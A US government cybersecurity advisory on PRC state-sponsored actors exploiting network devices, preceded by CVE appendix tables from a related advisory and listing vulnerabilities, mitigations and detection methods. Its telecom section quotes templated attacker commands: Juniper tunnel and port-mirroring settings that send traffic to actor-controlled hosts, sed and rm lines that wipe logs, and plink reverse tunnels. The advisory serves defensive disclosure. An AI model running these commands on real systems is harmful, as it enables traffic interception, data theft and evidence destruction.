Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against malicious actor controlled LDAP and other JNDI related endpoints. A malicious actor who can control log messages or log message parameters could execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Recommended Mitigations

  • Apply patches provided by vendor and perform required system updates.

Detection Methods

Vulnerable Technologies and Versions

There are numerous vulnerable technologies and versions associated with CVE-2021-44228. For a full list, check https://nvd.nist.gov/vuln/detail/CVE-2021-44228.

Table III: Pulse CVE-2019-11510

Pulse CVE-2019-11510 CVSS 3.0: 10 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote malicious actor could send a specially crafted URI to perform an arbitrary file reading vulnerability.

Recommended Mitigations

  • Apply patches provided by vendor and perform required system updates.

Detection Methods

  • Use CISA’s “Check Your Pulse” Tool.

Vulnerable Technologies and Versions

Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4

Table IV: GitLab CVE-2021-22205

GitLab CVE-2021-22205 CVSS 3.0: 10 (Critical)

Vulnerability Description

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files passed to a file parser, which resulted in a remote command execution.

Recommended Mitigations

  • Update to 12.10.3, 13.9.6, and 13.8.8 for GitLab.
  • Hotpatch is available via GitLab.

Detection Methods

  • Investigate logfiles.
  • Check GitLab Workhorse.

Vulnerable Technologies and Versions

Gitlab CE/EE.

Table V: Atlassian CVE-2022-26134

Atlassian CVE-2022-26134 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that could allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, 7.13.0 before 7.13.7, 7.14.0 before 7.14.3, 7.15.0 before 7.15.2, 7.16.0 before 7.16.4, 7.17.0 before 7.17.4, and 7.18.0 before 7.18.1.

Recommended Mitigations 

  • Immediately block all Internet traffic to and from affected products AND apply the update per vendor instructions. 
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.
  • Short term workaround is provided here.

Detection Methods

N/A

Vulnerable Technologies and Versions

All supported versions of Confluence Server and Data Center

Confluence Server and Data Center versions after 1.3.0

Table VI: Microsoft CVE-2021-26855

Microsoft CVE-2021-26855                                                     CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Microsoft has released security updates for Windows Exchange Server. To exploit these vulnerabilities, an authenticated malicious actor could send malicious requests to an affected server. A malicious actor  who successfully exploited these vulnerabilities would execute arbitrary code and compromise the affected systems. If successfully exploited, these vulnerabilities could allow an adversary to obtain access to sensitive information, bypass security restrictions, cause a denial of service conditions, and/or perform unauthorized actions on the affected Exchange server, which could aid in further malicious activity.

Recommended Mitigations

  • Apply the appropriate Microsoft Security Update.
  • Microsoft Exchange Server 2013 Cumulative Update 23 (KB5000871)
  • Microsoft Exchange Server 2016 Cumulative Update 18 (KB5000871)
  • Microsoft Exchange Server 2016 Cumulative Update 19 (KB5000871)
  • Microsoft Exchange Server 2019 Cumulative Update 7 (KB5000871)
  • Microsoft Exchange Server 2019 Cumulative Update 8 (KB5000871)
  • Restrict untrusted connections.

Detection Methods

  • Analyze Exchange product logs for evidence of exploitation.
  • Scan for known webshells.

Vulnerable Technologies and Versions

Microsoft Exchange 2013, 2016, and 2019.

Table VII: F5 CVE-2020-5902

Table VIII: VMware CVE-2021-22005

VMware CVE-2021-22005 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file.

Recommended Mitigations

Detection Methods

N/A

Vulnerable Technologies and Versions

VMware Cloud Foundation

VMware VCenter Server

Table IX: Citrix CVE-2019-19781

Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations

Detection Methods

N/A

Vulnerable Technologies and Versions

Citrix ADC, Gateway, and SD-WAN WANOP

Table X: Cisco CVE-2021-1497

Cisco CVE-2021-1497 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote malicious actor to perform a command injection against an affected device. For more information about these vulnerabilities, see the Technical details section of this advisory.

Recommended Mitigations

  • Apply Cisco software updates.

Detection Methods

  • Look at the Snort Rules provided by Cisco.

Vulnerable Technologies and Versions

Cisco Hyperflex Hx Data Platform 4.0(2A)

Table XI: Buffalo CVE-2021-20090

Buffalo CVE-2021-20090 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote malicious actors to bypass authentication.

Recommended Mitigations

  • Update firmware to latest available version.

 

Detection Methods

Vulnerable Technologies and Versions

Buffalo Wsr-2533Dhpl2-Bk Firmware

Buffalo Wsr-2533Dhp3-Bk Firmware

Table XII: Atlassian CVE-2021-26084

Atlassian CVE-2021-26084 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated malicious actor to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23 and from version 6.14.0 before 7.4.11, version 7.5.0 before 7.11.6, and version 7.12.0 before 7.12.5.

Recommended Mitigations

  • Update confluence version to 6.13.23, 7.4.11, 7.11.6, 7.12.5, and 7.13.0.
  • Avoid using end-of-life devices.
  • Use Intrusion Detection Systems (IDS).

Detection Methods

N/A

Vulnerable Technologies and Versions

Atlassian Confluence

Atlassian Confluence Server

Atlassian Data Center

Atlassian Jira Data Center

Table XIII: Hikvision CVE-2021-36260

Hikvision CVE-2021-36260 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A command injection vulnerability exists in the web server of some Hikvision products. Due to the insufficient input validation, a malicious actor can exploit the vulnerability to launch a command injection by sending some messages with malicious commands.

Recommended Mitigations

  • Apply the latest firmware updates.

Detection Methods

N/A

Vulnerable Technologies and Versions

Various Hikvision Firmware to include Ds, Ids, and Ptz

References

https://www.cisa.gov/uscert/ncas/current-activity/2021/09/28/rce-vulnerability-hikvision-cameras-cve-2021-36260  

Table XIV: Sitecore CVE-2021-42237

Sitecore CVE-2021-42237 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine. No authentication or special configuration is required to exploit this vulnerability.

Recommended Mitigations

  • Update to latest version.
  • Delete the Report.ashx file from /sitecore/shell/ClientBin/Reporting/Report.ashx.

Detection Methods

Vulnerable Technologies and Versions

Sitecore Experience Platform 7.5, 7.5 Update 1, and 7.5 Update 2

Sitecore Experience Platform 8.0, 8.0 Service Pack 1, and 8.0 Update 1-Update 7

Sitecore Experience Platform 8.0 Service Pack 1

Sitecore Experience Platform 8.1, and  Update 1-Update 3

Sitecore Experience Platform 8.2, and Update 1-Update 7

Table XV: F5 CVE-2022-1388

F5 CVE-2022-1388 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

Recommended Mitigations

  • Block iControl REST access through the self IP address.
  • Block iControl REST access through the management interface.
  • Modify the BIG-IP httpd configuration.

Detection Methods

N/A

Vulnerable Technologies and Versions

Big IP versions:

16.1.0-16.1.2

15.1.0-15.1.5

14.1.0-14.1.4

13.1.0-13.1.4

12.1.0-12.1.6

11.6.1-11.6.5

Table XVI: Apache CVE-2022-24112

Apache CVE-2022-24112 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A malicious actor can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

Recommended Mitigations

  • In affected versions of Apache APISIX, you can avoid this risk by explicitly commenting out batch-requests in the conf/config.yaml and conf/config-default.yaml files and restarting Apache APISIX.
  • Update to 2.10.4 or 2.12.1.

Detection Methods

N/A

Vulnerable Technologies and Versions

Apache APISIX between 1.3 and 2.12.1 (excluding 2.12.1)

LTS versions of Apache APISIX between 2.10.0 and 2.10.4

Table XVII: ZOHO CVE-2021-40539

ZOHO CVE-2021-40539 CVSS 3.0: 9.8 (Critical)

Vulnerability Description

Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.

Recommended Mitigations

  • Upgrade to latest version.

Detection Methods

  • Run ManageEngine’s detection tool.
  • Check for specific files and logs.

Vulnerable Technologies and Versions

Zoho Corp ManageEngine ADSelfService Plus

Table XVIII: Microsoft CVE-2021-26857

Microsoft CVE-2021-26857 CVSS 3.0: 7.8 (High)

Vulnerability Description

Microsoft Exchange Server remote code execution vulnerability. This CVE ID differs from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.

Recommended Mitigations

  • Update to support latest version.
  • Install Microsoft security patch.
  • Use Microsoft Exchange On-Premises Mitigation Tool.

Detection Methods

  • Run Exchange script: https://github.com/microsoft/CSS-Exchange/tree/main/Security.
  • Hashes can be found here: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/#scan-log.

Vulnerable Technologies and Versions

Microsoft Exchange Servers

Table XIX: Microsoft CVE-2021-26858

Table XX: Microsoft CVE-2021-27065

Table XXI: Apache CVE-2021-41773

Apache CVE-2021-41773 CVSS 3.0: 7.5 (High)

Vulnerability Description

This vulnerability has been modified since it was last analyzed by NVD. It is awaiting reanalysis, which may result in further changes to the information provided. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. A malicious actor could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration “require all denied,” these requests can succeed. Enabling CGI scripts for these aliased paths could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 is incomplete (see CVE-2021-42013).

Recommended Mitigations

Detection Methods

  • Commercially available scanners can detect CVE.

Vulnerable Technologies and Versions

Apache HTTP Server 2.4.49 and 2.4.50

Fedoraproject Fedora 34 and 35

Oracle Instantis Enterprise Track 17.1-17.3

Netapp Cloud Backup

Revisions

Initial Publication: October 6, 2022

Source…

People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices


Best Practices
• Apply patches as soon as possible
• Disable unnecessary ports and protocols
• Replace end-of-life infrastructure
• Implement a centralized patch management system

This joint Cybersecurity Advisory describes the ways in which People’s Republic of China (PRC) state-sponsored cyber actors continue to exploit publicly known vulnerabilities in order to establish a broad network of compromised infrastructure. These actors use the network to exploit a wide variety of targets worldwide, including public and private sector organizations. The advisory details the targeting and compromise of major telecommunications companies and network service providers and the top vulnerabilities—primarily Common Vulnerabilities and Exposures (CVEs)—associated with network devices routinely exploited by the cyber actors since 2020.

This joint Cybersecurity Advisory was coauthored by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI). It builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal, and territorial (SLTT) government; critical infrastructure (CI), including the Defense Industrial Base (DIB); and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).

Entities can mitigate the vulnerabilities listed in this advisory by applying the available patches to their systems, replacing end-of-life infrastructure, and implementing a centralized patch management program.

NSA, CISA, and the FBI urge U.S. and allied governments, CI, and private industry organizations to apply the recommendations listed in the Mitigations section and Appendix A: Vulnerabilities to increase their defensive posture and reduce the risk of PRC state-sponsored malicious cyber actors affecting their critical networks.

For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage.

Click here for PDF.

Common vulnerabilities exploited by People’s Republic of China state-sponsored cyber actors

PRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. Network devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as midpoints to conduct network intrusions on other entities. Over the last few years, a series of high-severity vulnerabilities for network devices provided cyber actors with the ability to regularly exploit and gain access to vulnerable infrastructure devices. In addition, these devices are often overlooked by cyber defenders, who struggle to maintain and keep pace with routine software patching of Internet-facing services and endpoint devices.

Since 2020, PRC state-sponsored cyber actors have conducted widespread campaigns to rapidly exploit publicly identified security vulnerabilities, also known as common vulnerabilities and exposures (CVEs). This technique has allowed the actors to gain access into victim accounts using publicly available exploit code against virtual private network (VPN) services [T1133]  or public facing applications [T1190]—without using their own distinctive or identifying malware—so long as the actors acted before victim organizations updated their systems. 

PRC state-sponsored cyber actors typically conduct their intrusions by accessing compromised servers called hop points from numerous China-based Internet Protocol (IP) addresses resolving to different Chinese Internet service providers (ISPs). The cyber actors typically obtain the use of servers by leasing remote access directly or indirectly from hosting providers. They use these servers to register and access operational email accounts, host C2 domains, and interact with victim networks. Cyber actors use these hop points as an obfuscation technique when interacting with victim networks.

These cyber actors are also consistently evolving and adapting tactics to bypass defenses. NSA, CISA, and the FBI have observed state-sponsored cyber actors monitoring network defenders’ accounts and actions, and then modifying their ongoing campaign as needed to remain undetected. Cyber actors have modified their infrastructure and toolsets immediately following the release of information related to their ongoing campaigns. PRC state-sponsored cyber actors often mix their customized toolset with publicly available tools, especially by leveraging tools that are native to the network environment, to obscure their activity by blending into the noise or normal activity of a network.

NSA, CISA, and the FBI consider the common vulnerabilities and exposures (CVEs) listed in Table 1 to be the network device CVEs most frequently exploited by PRC state-sponsored cyber actors since 2020.

 

Table 1: Top network device CVEs exploited by PRC state-sponsored cyber actors

Vendor                                       CVE                                  Vulnerability Type
Cisco CVE-2018-0171 Remote Code Execution
CVE-2019-15271 RCE
CVE-2019-1652 RCE
Citrix CVE-2019-19781 RCE
DrayTek CVE-2020-8515 RCE
D-Link CVE-2019-16920 RCE
Fortinet CVE-2018-13382 Authentication Bypass
MikroTik CVE-2018-14847 Authentication Bypass
Netgear CVE-2017-6862 RCE
Pulse CVE-2019-11510 Authentication Bypass
CVE-2021-22893 RCE
QNAP CVE-2019-7192 Privilege Elevation
CVE-2019-7193 Remote Inject
CVE-2019-7194 XML Routing Detour Attack
CVE-2019-7195 XML Routing Detour Attack
Zyxel CVE-2020-29583 Authentication Bypass

Telecommunications and network service provider targeting

PRC state-sponsored cyber actors frequently utilize open-source tools for reconnaissance and vulnerability scanning. The actors have utilized open-source router specific software frameworks, RouterSploit and RouterScan [T1595.002], to identify makes, models, and known vulnerabilities for further investigation and exploitation. The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices. RouterScan is an open-source tool that easily allows for the scanning of IP addresses for vulnerabilities. These tools enable exploitation of SOHO and other routers manufactured by major industry providers, including Cisco, Fortinet, and MikroTik.

Upon gaining an initial foothold into a telecommunications organization or network service provider, PRC state-sponsored cyber actors have identified critical users and infrastructure including systems critical to maintaining the security of authentication, authorization, and accounting. After identifying a critical Remote Authentication Dial-In User Service (RADIUS) server, the cyber actors gained credentials to access the underlying Structured Query Language (SQL) database [T1078] and utilized SQL commands to dump the credentials [T1555], which contained both cleartext and hashed passwords for user and administrative accounts. 

Having gained credentials from the RADIUS server, PRC state-sponsored cyber actors used those credentials with custom automated scripts to authenticate to a router via Secure Shell (SSH), execute router commands, and save the output [T1119]. These scripts targeted Cisco and Juniper routers and saved the output of the executed commands, including the current configuration of each router. After successfully capturing the command output, these configurations were exfiltrated off network to the actor’s infrastructure [TA0010]. The cyber actors likely used additional scripting to further automate the exploitation of medium to large victim networks, where routers and switches are numerous, to gather massive numbers of router configurations that would be necessary to successfully manipulate traffic within the network.

Armed with valid accounts and credentials from the compromised RADIUS server and the router configurations, the cyber actors returned to the network and used their access and knowledge to successfully authenticate and execute router commands to surreptitiously route [T1599], capture [T1020.001], and exfiltrate traffic out of the network to actor-controlled infrastructure. 

While other manufacturers likely have similar commands, the cyber actors executed the following commands on a Juniper router to perform initial tunnel configuration for eventual exfiltration out of the network:

set chassis fpc <slot number> pic <user defined value> tunnel-services bandwidth <user defined value>
set chassis network-services all-ethernet
set interfaces <interface-id> unit <unit number> tunnel source <local network IP address>
set interfaces <interface-id> unit <unit number> tunnel destination <actor controlled IP address>
 

After establishing the tunnel, the cyber actors configured the local interface on the device and updated the routing table to route traffic to actor-controlled infrastructure.

set interfaces <interface-id> unit <unit number> family inet address <local network IP address subnet>
set routing-options static route <local network IP address> next-hop <actor controlled IP address>
 

PRC state-sponsored cyber actors then configured port mirroring to copy all traffic to the local interface, which was subsequently forwarded through the tunnel out of the network to actor-controlled infrastructure. 

set firewall family inet filter <filter name> term <filter variable> then port-mirror
set forwarding-options port-mirroring input rate 1
set forwarding-options port-mirroring family inet output interface <interface-id> next-hop <local network IP address>
set forwarding-options port-mirroring family inet output no-filter-check
set interfaces <interface-id> unit <unit number> family inet filter input <filter name>
set interfaces <interface-id> unit <unit number> family inet filter output <filter name>
 

Having completed their configuration changes, the cyber actors often modified and/or removed local log files to destroy evidence of their activity to further obfuscate their presence and evade detection.

sed -i -e ‘/<REGEX>/d’ <log filepath 1>
sed -i -e ‘/<REGEX>/d’ <log filepath 2>
sed -i -e ‘/<REGEX>/d’ <log filepath 3>
rm -f <log filepath 4>
rm -f <log filepath 5>
rm -f <log filepath 6>
 

PRC state-sponsored cyber actors also utilized command line utility programs like PuTTY Link (Plink) to establish SSH tunnels [T1572] between internal hosts and leased virtual private server (VPS) infrastructure. These actors often conducted system network configuration discovery [T1016.001] on these host networks by sending hypertext transfer protocol (HTTP) requests to C2 infrastructure in order to illuminate the external public IP address.

plink.exe –N –R <local port>:<host 1>:<remote port> -pw <user defined password> -batch root@<VPS1> -P <remote SSH port>
plink.exe –N –R <local port>:<host 2>:<remote port> -pw <user defined password> -batch root@<VPS2> -P <remote SSH port>
 

NSA, CISA, and the FBI urge organizations to apply the following recommendations as well as the mitigation and detection recommendations in Appendix A, which are tailored to observed tactics and techniques. While some vulnerabilities have specific additional mitigations below, the following mitigations generally apply:

  • Keep systems and products updated and patched as soon as possible after patches are released [D3-SU] . Consider leveraging a centralized patch management system to automate and expedite the process.
  • Immediately remove or isolate suspected compromised devices from the network [D3-ITF] [D3-OTF].
  • Segment networks to limit or block lateral movement [D3-NI]. 
  • Disable unused or unnecessary network services, ports, protocols, and devices [D3-ACH] [D3-ITF] [D3-OTF]. 
  • Enforce multifactor authentication (MFA) for all users, without exception [D3-MFA]. 
  • Enforce MFA on all VPN connections [D3-MFA]. If MFA is unavailable, enforce password complexity requirements [D3-SPP]. 
  • Implement strict password requirements, enforcing password complexity, changing passwords at a defined frequency, and performing regular account reviews to ensure compliance [D3-SPP].
  • Perform regular data backup procedures and maintain up-to-date incident response and recovery procedures. 
  • Disable external management capabilities and set up an out-of-band management network [D3-NI].
  • Isolate Internet-facing services in a network Demilitarized Zone (DMZ) to reduce the exposure of the internal network [D3-NI].
  • Enable robust logging of Internet-facing services and monitor the logs for signs of compromise [D3-NTA] [D3-PM].
  • Ensure that you have dedicated management systems [D3-PH] and accounts for system administrators. Protect these accounts with strict network policies [D3-UAP].
  • Enable robust logging and review of network infrastructure accesses, configuration changes, and critical infrastructure services performing authentication, authorization, and accounting functions [D3-PM]. 
  • Upon responding to a confirmed incident within any portion of a network, response teams should scrutinize network infrastructure accesses, evaluate potential lateral movement to network infrastructure and implement corrective actions commensurate with their findings.

Resources

Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/cybersecurity-guidance for previous reporting on People’s Republic of China state-sponsored malicious cyber activity.

U.S. government and critical infrastructure organizations, should consider signing up for CISA’s cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats.

U.S. Defense Industrial Base (DIB) organizations, should consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration. For more information on eligibility criteria and how to enroll in these services, email [email protected].

Additional References

Contact Information 

To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at [email protected]. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch at 855-292-3937 or by email at [email protected]. For NSA client requirements or general cybersecurity inquiries, contact [email protected]

Media Inquiries / Press Desk: 

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This advisory was developed by NSA, CISA, and the FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. 

Appendix A: Vulnerabilities

Table 2: Information on Cisco CVE-2018-0171

 

Table 3: Information on Cisco CVE-2019-15271

                                              Cisco CVE-2019-15271                      CVSS 3.0: 8.8 (High)

Vulnerability Description 

A vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. The attacker must have either a valid credential or an active session token. The vulnerability is due to lack of input validation of the HTTP payload. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web-based management interface of the targeted device. A successful exploit could allow the attacker to execute commands with root privileges.

Recommended Mitigations 

  • Cisco has released free software updates that address the vulnerability described in this advisory.
  • Cisco fixed this vulnerability in firmware releases 4.2.3.10 and later for the Cisco RV042 Dual WAN VPN Router and RV042G Dual Gigabit WAN VPN Router.
  • Administrators can reduce the attack surface by disabling the Remote Management feature if there is no operational requirement to use it. Note that the feature is disabled by default.
Detection Methods 

Vulnerable Technologies and Versions 

This vulnerability affects the following Cisco Small Business RV Series Routers if they are running a firmware release earlier than 4.2.3.10:

  • RV016 Multi-WAN VPN Router
  • RV042 Dual WAN VPN Router
  • RV042G Dual Gigabit WAN VPN Router
  • RV082 Dual WAN VPN Router

References 

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191106-sbrv-cmd-x

 

Table 4: Information on Cisco CVE-2019-1652

 

Table 5: Information on Citrix CVE-2019-19781

                                                   Citrix CVE-2019-19781          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.

Recommended Mitigations 

  • Implement the appropriate refresh according to the vulnerability details outlined by vendor: Citrix: Mitigation Steps for CVE-2019-19781. 
  • If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list).
Detection Methods 

  • CISA has developed a free detection tool for this vulnerability: cisa.gov/check-cve-2019-19781: Test a host for susceptibility to CVE-2019-19781.
  • Nmap developed a script that can be used with the port scanning engine: CVE-2019-19781 – Critix ADC Path Traversal #1893.
  • Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781.
  • CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF and signatures at https://github.com/nsacyber/Mitigating-Web-Shells.

Vulnerable Technologies and Versions 

The vulnerability affects the following Citrix product versions on all supported platforms:

  • Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24
  • NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18
  • NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13
  • NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15
  • NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12
  • Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b 

References 

https://support.citrix.com/article/CTX267027

 

Table 6: Information on DrayTek CVE-2020-8515

                                                 DrayTek CVE-2020-8515          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.

Recommended Mitigations 

  • Users of affected models should upgrade to 1.5.1 firmware or later as soon as possible, the updated firmware addresses this issue.
  • Disable the remote access on your router if you don’t need it.
  • Disable remote access (admin) and SSL VPN. The ACL does not apply to SSL VPN connections (Port 443) so you should also temporarily disable SSL VPN until you have updated the firmware.
  • Always back up your config before doing an upgrade.
  • After upgrading, check that the web interface now shows the new firmware version.
  • Enable syslog logging for monitoring if there are abnormal events. 
Detection Methods 

  • Check that no additional remote access profiles (VPN dial-in, teleworker or LAN to LAN) or admin users (for router admin) have been added.
  • Check if any ACL (Access Control Lists) have been altered.
Vulnerable Technologies and Versions 

  • This vulnerability affects the Vigor3900/2960/300B before firmware version 1.5.1.

References 

https://draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html
https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html

 

Table 7: Information on D-Link CVE-2019-16920

                                                   D-Link CVE-2019-16920          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a “PingTest” device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

Recommended Mitigations 

  • Recommendation is to replace affected devices with ones that are currently supported by the vendor. End-of-life devices should not be used.
Detection Methods 

  • HTTP packet inspection to look for arbitrary input to the “ping_test” command 
Vulnerable Technologies and Versions 

  • DIR DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-82

References 

https://www.kb.cert.org/vuls/id/766427
https://fortiguard.com/zeroday/FG-VD-19-117
https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
https://www.seebug.org/vuldb/ssvid-98079

 

Table 8: Information on Fortinet CVE-2018-13382

                                                     Fortinet CVE-2018-13382            CVSS 3.0: 7.5 (High)

Vulnerability Description 

An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to modify the password of an SSL VPN web portal user via specially crafted HTTP requests.

Recommended Mitigations 

  • Upgrade to FortiOS versions 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above and/or upgrade to FortiProxy version 1.2.9 or above or version 2.0.1 or above.
  • SSL VPN users with local authentication can mitigate the impact by enabling Two-Factor Authentication (2FA).
  • Migrate SSL VPN user authentication from local to remote (LDAP or RADIUS).
  • Totally disable the SSL-VPN service (both web-mode and tunnel-mode) by applying the following CLI commands: config vpn ssl settings, unset source-interface, end.
Detection Methods 

  • HTTP packet inspection to look for specially crafted packets containing the magic key for the SSL VPN password modification

Vulnerable Technologies and Versions

This vulnerability affects the following products: 

  • Fortinet FortiOS 6.0.0 to 6.0.4
  • Fortinet FortiOS 5.6.0 to 5.6.8
  • Fortinet FortiOS 5.4.1 to 5.4.10
  • Fortinet FortiProxy 2.0.0
  • Fortinet FortiProxy 1.2.8 and below
  • Fortinet FortiProxy 1.1.6 and below
  • Fortinet FortiProxy 1.0.7 and below

FortiOS products are vulnerable only if the SSL VPN service (web-mode or tunnel-mode) is enabled and users with local authentication.

References 

https://fortiguard.com/psirt/FG-IR-18-389
